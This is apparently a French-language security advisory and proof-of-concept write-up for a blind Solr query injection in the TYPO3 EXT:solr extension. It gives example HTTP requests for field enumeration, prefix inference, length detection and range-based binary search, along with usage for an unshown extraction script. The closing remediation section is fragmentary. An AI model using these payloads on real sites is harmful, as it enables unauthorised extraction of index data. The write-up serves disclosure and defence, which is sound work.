
Preuve de concept et analyse technique pour CVE-2026-56096, une injection de requête Solr à l'aveugle dans TYPO3 EXT:solr permettant l'énumération de champs et l'extraction de données sans authentification.
Une vulnérabilité de sécurité architecturale a été découverte dans l'extension officielle TYPO3 Apache Solr (EXT:solr / apache-solr-for-typo3/solr). Le problème permet à des attaquants distants non authentifiés d'injecter une syntaxe de requête Solr/Lucene arbitraire via le paramètre de recherche tx_solr[q], ce qui permet une énumération aveugle non autorisée des champs et une extraction complète des métadonnées de l'index de recherche.
EXT:solr (Paramètre de recherche : tx_solr[q])CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:NL'extension EXT:solr accepte les termes de recherche fournis par l'utilisateur via le paramètre tx_solr[q] et les transmet au moteur Apache Solr. Par conception, l'extension autorise certains opérateurs de requête — tels que les jokers (*), les jokers à caractère unique (?), les sélecteurs de champ (:) et les requêtes de plage ([a TO z]) — pour prendre en charge des fonctionnalités légitimes comme le filtrage à facettes.
Étant donné que ces caractères étaient transmis directement à la construction de la requête backend sans liste blanche imposée ni couche d'abstraction de requête, un attaquant peut fournir une syntaxe spécifique à un champ pour s'échapper des limites de recherche prévues. Cela permet à des utilisateurs non authentifiés d'interroger directement les champs internes de Solr et d'extraire les données de l'index à l'aide de techniques aveugles basées sur des booléens.
field:*En ajoutant un joker à un nom de champ arbitraire ou deviné, un attaquant peut vérifier si le champ existe dans le schéma :
GET /search?tx_solr[q]=siteHash:* HTTP/1.1
Host: target.example.com
S'il existe, Solr traite la requête sur tous les enregistrements correspondants (déclenchant souvent des codes de réponse distincts ou des comportements liés au volume), ce qui permet une énumération automatisée des champs à partir d'une liste de mots.
Les attaquants peuvent extraire des valeurs de champs sensibles caractère par caractère à l'aide d'une inférence booléenne :
GET /search?tx_solr[q]=siteHash:a* HTTP/1.1 --> Returns search hits (Value begins with 'a')
GET /search?tx_solr[q]=siteHash:b* HTTP/1.1 --> "Nothing found" (Value does not begin with 'b')
?L'opérateur joker à caractère unique (?) peut déterminer la longueur exacte d'une chaîne stockée avant de commencer l'itération caractère par caractère :
GET /search?tx_solr[q]=siteHash:????????????* HTTP/1.1 (Checks for 12+ characters)
GET /search?tx_solr[q]=siteHash:?????????????* HTTP/1.1 (Checks for 13+ characters)
[a TO z])Les requêtes de plage permettent une extraction par recherche binaire sur le caractère initial, réduisant le nombre de requêtes nécessaires de 26 à ~5 par position de caractère :
GET /search?tx_solr[q]=siteHash:[a TO m] HTTP/1.1 --> Determines if character falls within 'a'-'m'
GET /search?tx_solr[q]=siteHash:[n TO z] HTTP/1.1 --> Determines if character falls within 'n'-'z'
La combinaison de la détection de longueur, des requêtes de plage et des caractères génériques de préfixe permet une extraction complète des champs avec une empreinte de requête minimale.
Un script de vérification automatisé (poc.py) est fourni pour démontrer l'extraction aveugle à l'aide des techniques décrites ci-dessus.
python3 poc.py -u "https://target.example.com/?L=0&id=1" -f "someField"
-u, --url : URL cible pointant vers le point de terminaison de recherche TYPO3.
-f, --field : Nom du champ de schéma à énumérer/extraire (par ex., appKey, siteHash).
-c, --cookies : (Facultatif) Cookies de session si une vérification d'authentification/contournement de WAF est requise.
-o, --output : Fichier de sortie pour stocker les préfixes découverts (par défaut : validated_fields.txt).
EXT:solr.L'échappement global des caractères est insuffisant car des opérateurs comme * et : remplissent des fonctions de recherche prévues. La remédiation nécessite une liste blanche et un modèle d'analyse au niveau de la couche applicative :
[email protected]).